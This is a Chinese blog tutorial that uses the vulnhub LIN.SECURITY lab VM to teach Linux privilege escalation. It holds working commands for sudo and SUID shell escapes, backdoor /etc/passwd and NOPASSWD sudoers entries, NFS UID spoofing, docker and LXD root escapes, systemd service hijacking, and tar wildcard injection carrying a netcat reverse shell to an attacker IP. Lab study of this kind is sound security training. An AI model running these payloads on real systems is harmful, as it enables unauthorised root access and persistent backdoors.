通过LIN.SECURITY靶机学习linux提权

通过 vulnhub-LIN.SECURITY靶机学习linux提权

靶机信息

靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/
靶机难度:中级(CTF)
靶机发布日期:2018年7月11日
靶机描述:在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。
我们已将该框配置为模拟真实世界的漏洞(尽管位于单个主机上),这将帮助您完善本地特权升级技能,技术和工具集。从简单到中级都有许多挑战,我们很高兴看到您用来解决这些挑战的方法!
该图像不到1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入并使用NAT适配器配置名为lin.security的VM,但是可以通过首选虚拟化平台的首选项将其更改为桥接。
首先,您可以使用以下凭据登录主机:bob / secret
目标:得到root权限

网络配置(无法获取ip)

第一种情况:

通过netplan设置网络。

1.1在开机时按下Shift键进入以下界面
在这里插入图片描述
1.2在此页面按下e键,进入如下界面
在这里插入图片描述
1.3将ro 替换为 rw signie init=/bin/bash
在这里插入图片描述
1.4按下Ctrl键+X键,进入如下页面
在这里插入图片描述
1.5查看当前网卡IP信息 ip a

1592824440957

1.6ifconfig -a看到有一块ens33的网卡,但是没有生效。

sudo vim /etc/netplan/50-cloud-init.yaml
将enp0s3改为ens33
sudo netplan apply重启网络

1592824900489

重启便能获得ip

1592829008539

第二种情况:

通过network设置网络

参考文章:https://blog.csdn.net/Eastmount/article/details/106066009

到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。
1590843558640

回车后会弹出选择界面,选择root一行回车,接着再次回车进入命令行模式。

1590843569852

输入"mount -o rw,remount / "命令,再配置网络问卷,否则后面可能无法保存网络配置文件,这个命令让我们的 / 路径文件系统的可读模式能自由修改。接着输入命令查看网卡。

mount -o rw,remount /
ifconfig -a

1590843612115

这里是ens33,然后继续输入命令修改网络配置文件。输入I修改模式,如下图所示。

vi /etc/network/interfaces

修改这两个地方,改成你的网卡名称(ens33),然后输入“:wq”保存。
1590843639246

最后输入reboot重启即可。

这里使用第一种方法获取ip为192.168.211.161
开放的端口为
1592829939705

由于这里主要是学习提权,所以直接使用官方给出的bob/secret账号通过ssh连接

1592830225020

提权辅助工具

LinEnum

这是一个非常基本的shell脚本,它执行65次以上的检查,从内核信息到定位可能的升级点(包括可能有用的SUID / GUID文件以及Sudo / rhost错误配置等等),都可以得到任何信息

常⽤命令:./LinEnum.sh -r report -e /tmp/ -t ⽣成的结果将导出到 /tmp/report ⽂件。直接执行也会在当前目录下生成report-12-06-20文件。

  • -k输入关键字
  • -e输入导出位置
  • -t包括全面(冗长)的测试
  • -s提供当前用户密码以检查sudo perms(不安全)
  • -r输入报告名称
  • -h显示此帮助文本

工具下载地址
地址二

1591968965598

1591969365844

LinuxSmartEnumeration

该Shell脚本将显示有关本地Linux系统安全性的相关信息。
它还可以监视进程以发现循环程序执行。在执行所有其他测试时进行监视,因此可以节省一些时间。默认情况下,它会在1分钟内进行监控,可以通过-p参数选择观看时间。

它具有3种详细程度,因此您可以控制看到的信息量。

在默认级别,可以看到系统中非常重要的安全漏洞。级别1./lse.sh -l1)显示了有助于您获得特权的有趣信息。级别2./lse.sh -l2)只会转储它收集的有关系统的所有信息。

默认情况下,它将询问您一些问题:主要是当前的用户密码(如果知道的话;),以便可以进行一些其他测试。

下载 地址

1
2
3
wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh

curl "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh

1591969875484

First you should execute it just like ./lse.sh. If you see some green yes!, you probably have already some good stuff to work with.

BeRootProject

1
python beroot.py --password super_strong_password

这个⼯具包含了GTFOBins所提到的⽂件列表,也就是说,可以检查出⼀些通过sudo运⾏即可提权 的⽂件。

下载地址

sudo提权

关于sudo

sudo是给普通用户某个命令有root权限,并不需要给root密码,普遍的做法就是利用sudo (Substitute User and Do 的简写)给其临时授权,临时让其以root 权限运行某个程序。

sudo的执行原理

普通用户执行命令 -> 检查/var/db/sudo/目录下是否有用户时间戳 -> 检查/etc/sudoers配置文件,用户是否有sudo权限 -> 执行sudo命令并反回结果 -> 退出sudo返回普通用户shell环境。
其中步骤2检查:时间戳默认从上一次执行sudo命令5分钟后过期。

要利用sudo提权,需要配置/etc/sudoers 或者使用visudo命令进行编辑。

文件语法:

1
root ALL=(ALL) ALL
  • root表示用户名
  • 第一个 ALL 指示允许从任何终端、机器访问sudo
  • 第二个 (ALL)指示sudo命令被允许以任何用户身份执行
  • 第三个 ALL 表示所有命令都可以作为root执行

提权演示

  1. sudo -l :查看当前⽤⼾sudo⽀持的命令

1592832167027

在线查询sudo的提权命令:https://gtfobins.github.io/

通过ash提权

1
sudo ash

通过awk提权

1
sudo awk 'BEGIN {system("/bin/sh")}'

通过find提权

1
sudo find . -exec /bin/sh \; -quit

还有很多命令可以通过查上面的手册
1592833753662

1592833818823

1592833852803

SUID提权

什么是suid

SUID是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限。

例如passwd这个命令,这个命令会修改/etc/shadow文件,而/etc/shadow只有root才能修改,本来passwd这个命令应该也只能root才能执行。但是系统为了让普通用户能够修改自己的密码,对passwd这个命令赋予了特殊权限并添加了只能修改自己密码的限制。

1592880197935

suid提权原理

SUID代表“执⾏时设置⽤⼾ID”,具有该标志位的⽂件在执⾏时,运 ⾏的uid变为属主⾝份,也就是说,如果⼀个程序属主是root,并具有suid标志位,其他⽤⼾运⾏时uid会临时变为root。

提权演示

常⻅的⽤于SUID提权的程序:

  1. Nmap:较旧版本的Nmap(2.02⾄5.21)带有交互模式,从⽽允许⽤⼾执⾏shell命令。

    nmap --interactive , nmap> !sh

  2. find: touch test

    find test -exec whoami \;

    find test -exec bash -p \;

    find test -exec /bin/sh \; (DC1就遇到bash⽆法提权,但是sh可以提权的情况)

    find test -exec nc -e /bin/sh 192.168.139.128 9999 \;

  3. vim: 直接编辑⽂件 vim /etc/shadow ,或者进⼊vim后启动sh交互。

    :set shell=/bin/sh

    :shell

    或者:vim -c '!sh'

  4. bash: bash -p

  5. 利⽤less执⾏命令

    less /etc/passwd

    !/bin/sh (已经设置suid的sh)

    (more也 可以)

更多请参考:https://gtfobins.github.io/#+suid

查看具有 suid权限的命令

1
2
3
4
5
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null

1592881118095

env和xxd等都可以使用suid提权
env:

1
2
3
sudo sh -c 'cp $(which env) .; chmod +s ./env'

./env /bin/sh -p

1592881595036

xxd:

xxd的作用是将一个文件以16进制的形式显示出来。他被配置了特殊权限,并且用户组为itservices是拥有执行权限x的。通过cat /etc/group | grep itservices命令得到susan属于这个用户组

1592881960486

一旦suid和执行权限在一起就可能导致权限提升!

1
2
3
4
sudo sh -c 'cp $(which xxd) .; chmod +s ./xxd'

LFILE=file_to_read
./xxd "$LFILE" | xxd -r

可以用该命令来查看/etc/shadow

1
2
3
4
su susan

LFILE=/etc/shadow
xxd "$LFILE" | xxd -r

1592882175074

密码相关

收集密码相关信息

1.查找包含密码得文件(关键字password)

1
2
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

2.查看过期的密码

1
pam_cracklib会保存过期的密码记录在 /etc/security/opasswd ⽂件中。

3.查看用户最后编辑得文件

1
2
3
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"

#最近⼗分钟编辑的⽂件

1592662561046

4.查看内存中的密码

1
strings /dev/mem -n10 | grep -i PASS

5.查看敏感文件

1
locate password | more

1592662724337

破解/etc/passwd哈希

linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中,比如:root:x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上

/etc/shadow

只有root用户权限能够查看 保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分

  1. 用户名
  2. 加密后的密码
  3. 上次修改密码的时间(从1970.1.1开始的总天数)
  4. 两次修改密码间隔的最少天数,如果为0,则没有限制
  5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为9999则没有限制
  6. 提前多少天警告用户密码将过期
  7. 在密码过期之后多少天禁用此用户
  8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
  9. 保留

1592835598272

并且哈希加密的密码具有固定格式:

1
$id$salt$encrypted
  • id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512

  • salt为盐值,系统随机生成

  • encrypted表示密码的hash值

利用可写入文件

搜索可写入文件

1
2
3
find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

/etc/passwd 文件写入

/etc/passwd

普通用户权限能够查看 保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分

  1. 用户名
  2. 密码,x表示密码保存在/etc/shadow
  3. UID,0代表root
  4. GID,表示所在组
  5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
  6. 用户主目录
  7. 默认shell类型

1592834918819

当我们对/etc/passwd文件具有写入权限时,可以尝试在/etc/passwd文件下添加新的用户使这个用户具有root权限

生成密码字符串的三种方式:

1
2
3
openssl passwd -1 -salt 盐值 密码
mkpasswd -m SHA-512 密码
python2 -c 'import crypt; print crypt.crypt("密码", "$6$salt")'

kali使用openssl工具先创建一个本地的加密用户:

1
openssl passwd -1 -salt admin 111111

1592836118929

1
2
3
4
#之后构造:
admin123:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash
#将其写入/etc/passwd
#通过su admin123 密码 111111切换用户即可获得root权限

不生成密码的方式:

1
2
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

/etc/sudoers文件写入

当使用sudo命令需要密码并且在不知道密码的情况下,如果该用户对/etc/sudoers文件具有写入权限,则可以通过写/etc/sudoers文件来使得我们不需要密码便能使用sudo命令

1
2
3
4
echo "用户名 ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "用户名 ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "用户名 ALL=NOPASSWD: /bin/bash" >>/etc/sudoers

1592840613216

1592840705377

提权演示

破解哈希值:

先查看/etc/passwd文件

1592836209506

得到insecurity用户的md5值,使用在线破解得到P@ssw0rd!登录即可得到root权限

1592836496817

破解用户密码hash的常用工具和方法

利用隐藏文件

有时候隐藏文件会存放一些重要的信息,比如搜索home目录下的所有隐藏文件,并用ls -al显示出来

1
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

1592879116735

再倒数第二个文件发现可疑点,查看发现是susan的密码
1592879290449

NFS低权限访问

NFS简介

NFS(Network File System)即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。

NFS的配置⽂件:

/etc/exports

如果no_root_squash出现在配置⽂件中的话,如果⽬录分享者是root,那么对于远程挂载⽤⼾来说,他也具有了该⽬录下root的权限。

常见操作:

  • 查看远程主机共享的⽂件夹:showmount -e 10.10.10.10

  • 建⽴⽬录、挂载远程主机共享⽂件

    1
    2
    3
    mkdir /tmp/nfsdir  
    mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
    cd /tmp/nfsdir
  • 恶意利用

    1
    2
    3
    4
    # copy wanted shell
    cp /bin/bash .
    # set suid permission
    chmod +s bash

靶机演示

通过nmap扫描到靶机开放了2049服务,该端口对应nfs服务
1592897611985

安装nfs客户端工具

1
apt-get install nfs-common

安装完成之后,使用showmount命令检索给定主机的导出文件夹列表。

1
showmount -e 192.168.211.161

1592898274698

账号peter的home目录可以被挂载

1
2
mkdir /mnt/peter
mount 192.168.211.161:/home/peter /mnt/peter

1592898522337

其中挂载好的peter目录显示的文件的所有者和所属组分别为1001和1005

当在/mnt/peter目录创建目录的时候提示权限不够
1592898726491

即使在kali攻击机上是root用户,但是还没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者

可以伪造文件所有者的UID和GID来欺骗NFS服务器,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005。

1
2
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005

1592898980254

现在/mnt/peter下文件的所有者更换为peter,但现在还是以客户端的root登陆,服务端默认为匿名者
1592899077861

切换到peter用户,服务端便会认为是存在的一个用户peter,并且可以创建文件

1592899203987

能创建文件之后就可以写入ssh公钥文件(先使用ssh-keygen生成公私钥对)

1592902461569

首先在/mnt/peter创建服务器上的.ssh目录,写入公钥,再通过私钥登陆

1
2
3
mkdir .ssh
cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys
ssh peter@192.168.211.161

1592902516686

利用docker组提权

通过groups命令得到peter用户也属于docker组
1592903090831

当一个用户是’docker’组的成员时,运行以下命令将会得到一个root shell:

1
2
3
4
5
6
7
8
#通过拉取镜像的方式来获得一个shell
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

# 利⽤DockerSocket提权办法
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it
ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --
pid=host debian nsenter -t 1 -m -u -n -i sh

1592903198145

参考:https://fosterelli.co/privilege-escalation-via-docker.html

利用LXC/LXD 组提权

利用条件:

查看⽤⼾信息的时候,⽤⼾存在在组 lxc 或者 lxd 中

利用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#kali里面执行:
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686


#靶机中执行:
# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

在攻击机执⾏

参考:https://freehk.top/2019/12/10/linux-lxd%E6%8F%90%E6%9D%83/

计划任务

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录

Cron

crontab文件格式:

1
2
3
基本格式 :
*  *  *  *  *  command
分  时  日  月  周  命令

第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

1
2
3
4
5
6
7
8
9
eg:
30 21 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每晚的21:30重启apache。

45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每月11022日的4 : 45重启apache。

10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每周六、周日的1 : 10重启apache。
  • 检查系统中存在的cron计划任务,看看是否有权限访问和修改

  • 检查⽂件内容,看看有没有可以提权的途径

  • 利⽤pspy⼯具,检查命令和⽂件系统事件 ./pspy64 -pf -i 1000

一些敏感的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
1
2
3
4
5
6
7
8
9
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*

1592817734754

cron的⽇志⽂件存储为 /var/log/cronlog ,可以看到最近执⾏的定时任务信息

相关信息

  • 配置文件读取路径
  1. /var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户;用户创建的任务在

    对应用户名文件夹下。

  2. /etc/crontab ,只能root 进行编辑,配置文件需指定用户

  3. /etc/cron.d/ ,在此文件夹下创建定时任务文件(和 /etc/crontab 一样)

  • 日志保存地址:/var/log/cron;要禁止某个用户使用,将用户名添加到 /etc/cron.deny文件中。

通配符

通配符是一种特殊语句,主要有型号(*)和问号(?),用来对字符串进行模糊匹配(比如文件名,参数名)。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。

* 代表任意多个字符

? 代表任意单个字符

[ ] 代表”[“和”]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写。

代表一个字符。

~ 用户的根目录。

利用通配符进行本地提权:
https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

提权演示

首先查看/etc/crontab的定时任务
1592872154310

查看/etc/cron.daily/backup文件:

1592872228674

时任务的执行权限是root,将用户家目录下的文件备份到/etc/backups/下,使用通配符*
反弹shell
使用msfvenom生成反弹sell的一句话

1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.211.151 lport=7777 R

1592872467958

1
mkfifo /tmp/waqwv; nc 192.168.211.151 7777 0</tmp/waqwv | /bin/sh >/tmp/waqwv 2>&1; rm /tmp/waqwv

之后将payload写入shell.sh,并赋予执行权限( 在tar处理的目录下写入shell.sh )

1
2
3
4
5
echo "mkfifo /tmp/waqwv; nc 192.168.211.151 7777 0</tmp/waqwv | /bin/sh >/tmp/waqwv 2>&1; rm /tmp/waqwv" > shell.sh && chmod +x shell.sh

#再创建两个文件
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"

1592872807490

最后使用nc监听7777端口等待定时任务执行即可
1592872955100

实际上,定时任务执行的命令为:

1
2
3
4
tar -zcf /etc/backups/home-bob.tgz *
|
|->
tar -zcf /etc/backups/home-bob.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
  • --checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。 因此,选项--checkpoint=1--checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序。

直接修改/etc/sudoers文件:

1
2
3
4
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >shell.sh

echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"

利用工具:wildpwn

system配置

systemd简介

  • 系统定时器,也是计划任务的⼀种

    查询命令: systemctl list-timers --all

相关信息:

  1. 如果想使用systemd作为定时器,需要先创建一个服务单元,之后再创建计时器单元

  2. 重新加载配置: systemctl daemon-reload

  3. journalctl -u mytimer查看mytimer.timermytimer.service的日志

    详细原理:https://www.linuxidc.com/Linux/2019-05/158599.htm

1592818118936

一般我们通过一下命令来启动apache2服务

1
2
3
sudo /etc/init.d/apache2 start
或者
service apache2 start

但是这种方法有两个缺点

1
2
一是启动时间长。init进程是串行启动,只有前一个进程启动完,才会启动下一个进程。 
二是启动脚本复杂。init进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长

Systemd 就是为了解决这些问题而诞生的。它的设计目标是为系统的启动和管理提供一套完整的解决方案。

使用了 Systemd,就不需要再用init了。Systemd 取代了init.d,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。

Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 重启系统
$ sudo systemctl reboot

# 关闭系统,切断电源
$ sudo systemctl poweroff

# 查看启动耗时
$ systemd-analyze
# 查看每个服务的启动耗时
$ systemd-analyze blame

# 显示当前主机的信息
$ hostnamectl

# 设置主机名。
$ sudo hostnamectl set-hostname rhel7

提权演示

首先查看peter用户的systemd配置,发现peter拥有debug.service文件,并且具有读写权限

1
2
whereis systemd
ls -al /lib/systemd/system/debug.service

1592904523563

1592904547093

如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的.service文件并更改run()命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。

查看.service文件

1592904662891

这里需要修改ExecStart文件使得在程序开始时执行命令,除此之外还可以修改ExecStop和ExecReload来在停止和重启服务时执行命令

接着让root身份来创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限。

1
2
3
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

#-e为换行显示

之后在修改debug.service文件来调用创建的脚本

1592905283872

重启系统,再次连接

1592906242457

之后使用suid提权即可获得root权限,./systemdbash -p就相当于是bash的suid提权

1592906414669

可以将systemdexpl.sh的内容修改为将公钥写入/root/.ssh

1
2
3
4
echo -e '#!/bin/bash \ncp /home/peter/.ssh/* /root/.ssh/' > /home/peter/systemdexpl2.sh && chmod +x systemdexpl2.sh

#修改/lib/systemd/system/debug.service中的ExecStart为脚本路径
vim /lib/systemd/system/debug.service

1592906671750

重启系统之后直接使用root用户登录即可
1592907110828

内核提权

内核提权漏洞(依靠EXP)

  1. 在exploit-db、或者其他搜索引擎上查找相关提权漏洞。

  2. 利⽤脏⽜ ( 2.6.22<=kernel <= 4.8.3、4.7.9、4.4.26LTS )

  3. ⼀般这种提权漏洞都是c的,需要gcc编译gcc filename -o outfilename

内核漏洞搜集项⽬:

https://github.com/lucyoa/kernel-exploits/

https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits

https://github.com/SecWiki/linux-kernel-exploits 中⽂ NICE~

https://github.com/xairy/kernel-exploits

https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/

常⻅漏洞:

  1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

  1. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)

https://www.exploit-db.com/exploits/15285/

  1. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))

https://www.exploit-db.com/exploits/15704/

  1. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))

https://www.exploit-db.com/exploits/18411

在linux中常见的几种提权方式就差不多是这些了,当然这些只是众多提权方法中的一些皮毛,要正真熟练掌握linux提权还需要多思考,多练习。

补充:

查看用户拥有的文件

1
find / -user username 2>/dev/null

参考文章:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#cron-jobs

参考文章:
https://www.fenghlz.xyz/passages/2020-02-22-%E6%8F%90%E6%9D%83%E7%9F%A5%E8%AF%86%E5%AD%A6%E4%B9%A0-LIN-SECURITY%E9%9D%B6%E5%9C%BA/

提权在线查询:
https://gtfobins.github.io/

文章作者:CyzCc
最后更新:2020年07月12日 15:07:59
原始链接:https://cyzcc.vip/2020/06/23/linux-tiquan/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------